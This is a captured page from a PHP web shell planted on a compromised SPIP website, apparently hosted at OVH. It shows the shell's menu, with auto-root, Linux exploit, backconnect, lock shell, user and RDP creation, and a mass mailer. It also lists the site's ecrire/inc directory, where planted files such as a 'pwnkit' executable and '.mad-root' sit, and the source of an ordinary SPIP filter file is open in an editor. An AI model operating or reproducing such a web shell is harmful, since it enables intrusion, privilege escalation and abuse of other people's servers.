Linux webm008.cluster115.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Apache
: 10.115.20.8 | : 216.73.216.59
Cant Read [ /etc/named.conf ]
8.1.34
quelfutuu
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
quelfutuu /
www /
grice /
ecrire /
inc /
[ HOME SHELL ]
Name
Size
Permission
Action
.mad-root
0
B
-rw-r--r--
acces.php
13.5
KB
-rw----r--
actions.php
5.36
KB
-rw----r--
admin.php
9.46
KB
-rw----r--
auth.php
22.43
KB
-rw----r--
auth_handler.php
300
B
-rw-r--r--
autoriser.php
64.83
KB
-rw----r--
bandeau.php
8.42
KB
-rw----r--
boutons.php
2.49
KB
-rw----r--
charsets.php
28.17
KB
-rw----r--
chercher_logo.php
3.3
KB
-rw----r--
chercher_rubrique.php
11.33
KB
-rw----r--
commencer_page.php
4.49
KB
-rw----r--
completer_traduction.php
2.43
KB
-rw----r--
config.php
13.96
KB
-rw----r--
cookie.php
6.21
KB
-rw----r--
couleurs.php
3.24
KB
-rw----r--
csv.php
3.76
KB
-rw----r--
cvt_autosave.php
4.26
KB
-rw----r--
cvt_configurer.php
7.92
KB
-rw----r--
cvt_multietapes.php
10.15
KB
-rw----r--
definir_menus_favoris.php
1.08
KB
-rw----r--
distant.php
43.91
KB
-rw----r--
documents.php
8.84
KB
-rw----r--
drapeau_edition.php
6.82
KB
-rw----r--
editer.php
22.05
KB
-rw----r--
email_valide.php
1.74
KB
-rw----r--
envoyer_mail.php
7.67
KB
-rw----r--
exporter_csv.php
7.37
KB
-rw----r--
filtres.php
162.08
KB
-rw----r--
filtres_alertes.php
8.29
KB
-rw----r--
filtres_boites.php
4.79
KB
-rw----r--
filtres_dates.php
34.68
KB
-rw----r--
filtres_ecrire.php
17.33
KB
-rw----r--
filtres_images_lib_mini.php
59.89
KB
-rw----r--
filtres_images_mini.php
16.78
KB
-rw----r--
filtres_mime.php
4.72
KB
-rw----r--
filtres_mini.php
6.9
KB
-rw----r--
filtres_selecteur_generique.ph...
8.25
KB
-rw----r--
flock.php
20.88
KB
-rw----r--
genie.php
6.86
KB
-rw----r--
headers.php
7.77
KB
-rw----r--
icone_renommer.php
2.12
KB
-rw----r--
iconifier.php
1.37
KB
-rw----r--
importer_csv.php
4.8
KB
-rw----r--
index.php
2
B
-rw----r--
informer.php
2.95
KB
-rw----r--
install.php
15.69
KB
-rw----r--
invalideur.php
7.99
KB
-rw----r--
journal.php
1.11
KB
-rw----r--
json.php
2.2
KB
-rw----r--
lang.php
14.59
KB
-rw----r--
lang_liste.php
7.23
KB
-rw----r--
layer.php
5.93
KB
-rw----r--
lien.php
8.43
KB
-rw----r--
lien_court.php
1.17
KB
-rw----r--
liens.php
680
B
-rw----r--
lister_objets.php
2.13
KB
-rw----r--
livrer_fichier.php
7.7
KB
-rw----r--
log.php
3.43
KB
-rw----r--
math.php
4.42
KB
-rw----r--
meta.php
9.09
KB
-rw----r--
minipres.php
3.7
KB
-rw----r--
modeles.php
1.42
KB
-rw----r--
modifier.php
11.09
KB
-rw----r--
nfslock.php
11.47
KB
-rw----r--
notifications.php
5.76
KB
-rw----r--
pipelines.php
7.83
KB
-rw----r--
pipelines_ecrire.php
12.04
KB
-rw----r--
plonger.php
3.98
KB
-rw----r--
plugin.php
47.39
KB
-rw----r--
precharger_article.php
2.26
KB
-rw----r--
precharger_objet.php
7.2
KB
-rw----r--
prepare_recherche.php
5.72
KB
-rw----r--
preselectionner_parent_nouvel_...
2.19
KB
-rw----r--
presentation.php
8.63
KB
-rw----r--
presentation_mini.php
8.28
KB
-rw----r--
presenter_enfants.php
6.75
KB
-rw----r--
puce_statut.php
11.94
KB
-rw----r--
pwnkit
0
B
-rwxr-xr-x
queue.php
20.62
KB
-rw----r--
recherche_to_array.php
8.15
KB
-rw----r--
rechercher.php
11.05
KB
-rw----r--
roles.php
12.12
KB
-rw----r--
rubriques.php
28.48
KB
-rw----r--
securiser_action.php
11.99
KB
-rw----r--
selectionner.php
5.27
KB
-rw----r--
session.php
21.59
KB
-rw----r--
simplexml_to_array.php
2.84
KB
-rw----r--
surligne.php
4.14
KB
-rw----r--
svg.php
19.55
KB
-rw----r--
texte.php
11.82
KB
-rw----r--
texte_mini.php
23.49
KB
-rw----r--
traduire.php
11.26
KB
-rw----r--
urls.php
11.05
KB
-rw----r--
utils.php
107.33
KB
-rw----r--
xml.php
7.47
KB
-rw----r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : filtres_selecteur_generique.php
<?php /** * Filtres pour les sélecteurs d'objets * * @package SPIP\Core\Filtres\Selecteurs **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Fournit la liste des objets ayant un sélecteur * * Concrètement, va chercher tous les `formulaires/selecteur/hierarchie-{trucs}.html` * Ensuite on ajoute les parents obligatoires éventuels * * @uses find_all_in_path() * * @param array $includelist * Liste d’inclusion décrivant les objets à lister * @param array $excludelist * Liste d’exclusion décrivant les objets à ne pas lister * @return array * Retourne un tableau de deux entrées listant les objets à lister et les objets sélectionnables * - selectionner : tableau des objets que l'on pourra sélectionner (avec un +) * - afficher : tableau des objets à afficher (mais pas forcément sélectionnables) */ function selecteur_lister_objets($includelist = [], $excludelist = []) { static $liste_selecteurs, $liste_parents; if (!$liste_selecteurs) { $liste_selecteurs = find_all_in_path('formulaires/selecteur/', 'hierarchie-[\w]+[.]html$'); } $objets_selectionner = []; foreach ($liste_selecteurs as $fichier => $chemin) { $objets_selectionner[] = preg_replace('/^hierarchie-([\w]+)[.]html$/', '$1', $fichier); } // S'il y a une whitelist on ne garde que ce qui est dedans if (!empty($includelist)) { $includelist = array_map('table_objet', $includelist); $objets_selectionner = array_intersect($objets_selectionner, $includelist); } // On supprime ce qui est dans la liste d’exclusion $excludelist = array_map('table_objet', $excludelist); // On enlève toujours la racine $excludelist[] = 'racine'; $objets_selectionner = array_diff($objets_selectionner, $excludelist); // Ensuite on cherche ce qu'on doit afficher : au moins ceux qu'on peut sélectionner $objets_afficher = $objets_selectionner; // Il faut alors chercher d'éventuels parents obligatoires en plus : // lister-trucs-bidules.html => on doit afficher des "trucs" pour trouver des "bidules" if (!$liste_parents) { $liste_parents = find_all_in_path('formulaires/selecteur/', 'lister-[\w]+-[\w]+[.]html$'); } foreach ($liste_parents as $fichier => $chemin) { preg_match('/^lister-([\w]+)-([\w]+)[.]html$/', $fichier, $captures); $parent = $captures[1]; $type = $captures[2]; // Si le type fait partie de ce qu'on doit afficher alors on ajoute aussi le parent à l'affichage if (in_array($type, $objets_afficher)) { $objets_afficher[] = $parent; } } $objets = [ 'selectionner' => array_unique($objets_selectionner), 'afficher' => array_unique($objets_afficher), ]; return $objets; } /** * Extrait des informations d'un tableau d'entrées `array("rubrique|9", "article|8", ...)` * ou une chaine brute `rubrique|9,article|8,...` * * Peut retourner un tableau de couples (objet => id_objet) ou la liste * des identifiants d'un objet précis si `$type` est fourni. * * @example * `picker_selected(array('article|1', 'article|2', 'rubrique|5'))` * retourne `array('article' => 1, 'article' => 2, 'rubrique' => 5)` * @example * `picker_selected(array('article|1', 'article|2', 'rubrique|5'), 'article')` * retourne `array(1, 2)` * * @filtre * * @param array|string $selected * Liste des entrées : tableau ou chaine séparée par des virgules * @param string $type * Type de valeur à recuperer tel que `rubrique`, `article` * @return array * liste des couples (objets => id_objet) ou liste des identifiants d'un type d'objet. **/ function picker_selected($selected, $type = '') { $select = []; $type = preg_replace(',\W,', '', $type); if ($selected and !is_array($selected)) { $selected = explode(',', $selected); } if (is_array($selected)) { foreach ($selected as $value) { // Si c'est le bon format déjà if (preg_match('/^([\w]+)[|]([0-9]+)$/', $value, $captures)) { $objet = $captures[1]; $id_objet = intval($captures[2]); // Si on cherche un type et que c'est le bon, on renvoit un tableau que d'identifiants if (is_string($type) and $type == $objet and ($id_objet or in_array($objet, ['racine', 'rubrique']))) { $select[] = $id_objet; } elseif (!$type and ($id_objet or in_array($objet, ['racine', 'rubrique']))) { $select[] = ['objet' => $objet, 'id_objet' => $id_objet]; } } } } return $select; } /** * Récupère des informations sur un objet pour pouvoir l'ajouter aux éléments sélectionnés * * @uses typer_raccourci() * * @param string|int $ref * Référence de l'objet à chercher sous forme raccourcie rub123 art123 ou meme 123 si pas d'ambiguité ou si un article * @param mixed $rubriques_ou_objets * Soit un booléen (pouvant être une chaîne vide aussi) indiquant que les rubriques sont sélectionnables * soit un tableau complet des objets sélectionnables. * @param bool $articles * Booléen indiquant si les articles sont sélectionnables */ function picker_identifie_id_rapide($ref, $rubriques_ou_objets = false, $articles = false) { include_spip('inc/json'); include_spip('inc/lien'); // On construit un tableau des objets sélectionnables suivant les paramètres $objets = []; if ($rubriques_ou_objets and is_array($rubriques_ou_objets)) { $objets = $rubriques_ou_objets; } else { if ($rubriques_ou_objets) { $objets[] = 'rubriques'; } if ($articles) { $objets[] = 'articles'; } } // si id numerique et un seul objet possible, pas d'ambiguite if (is_numeric($ref) and count($objets) === 1) { $type = reset($objets); $type = objet_type($type); $id = intval($ref); $ref = $type . $ref; } else { // Si la référence ne correspond à rien, c'est fini if (!($match = typer_raccourci($ref))) { return json_export(false); } // Sinon on récupère les infos utiles [$type, , $id, , , , ] = array_pad($match, 7, null); // On regarde si le type trouvé fait partie des objets sélectionnables if (!in_array(table_objet($type), $objets)) { return json_export(false); } } // Maintenant que tout est bon, on cherche les informations sur cet objet include_spip('inc/filtres'); if (!$titre = generer_objet_info($id, $type, 'titre')) { return json_export(false); } // On simplifie le texte $titre = attribut_html($titre); return json_export(['type' => $type, 'id' => "$type|$id", 'titre' => $titre]); } /** * Déterminer si une rubrique a des enfants à afficher ou non * * On test d'abord si la rubrique a des sous rubriques, et sinon on regarde * les autres types sélectionnables, puis on regarde si la rubrique contient * certains de ces objets * * @note * Pour optimiser, la fonction calcule sa valeur sur toute la fratrie d'un coup, * puisqu'elle est appellée N fois pour toutes les rubriques d'un même niveau * * @param int $id_rubrique * Identifiant de la rubrique * @param array $types * Liste de type d'objets. Si l'un de ces objet est présent dans la rubrique, * alors cette rubrique est à afficher * @return string * Comme le filtre `oui` : espace (` `) si rubrique à afficher, chaîne vide sinon. */ function test_enfants_rubrique($id_rubrique, $types = []) { static $has_child = []; if (!isset($has_child[$id_rubrique])) { $types = (is_array($types) ? array_filter($types) : []); // recuperer tous les freres et soeurs de la rubrique visee $id_parent = sql_getfetsel('id_parent', 'spip_rubriques', 'id_rubrique=' . intval($id_rubrique)); $fratrie = sql_allfetsel('id_rubrique', 'spip_rubriques', 'id_parent=' . intval($id_parent)); $fratrie = array_column($fratrie, 'id_rubrique'); $has = sql_allfetsel('DISTINCT id_parent', 'spip_rubriques', sql_in('id_parent', $fratrie)); $has = array_column($has, 'id_parent'); $fratrie = array_diff($fratrie, $has); while (count($fratrie) and is_array($types) and count($types)) { $type = array_shift($types); $h = sql_allfetsel('DISTINCT id_rubrique', table_objet_sql($type), sql_in('id_rubrique', $fratrie)); $h = array_column($h, 'id_rubrique'); $has = array_merge($has, $h); $fratrie = array_diff($fratrie, $h); } if (count($has)) { $has_child = $has_child + array_combine($has, array_pad([], count($has), true)); } if (count($fratrie)) { $has_child = $has_child + array_combine($fratrie, array_pad([], count($fratrie), false)); } } return $has_child[$id_rubrique] ? ' ' : ''; }
Close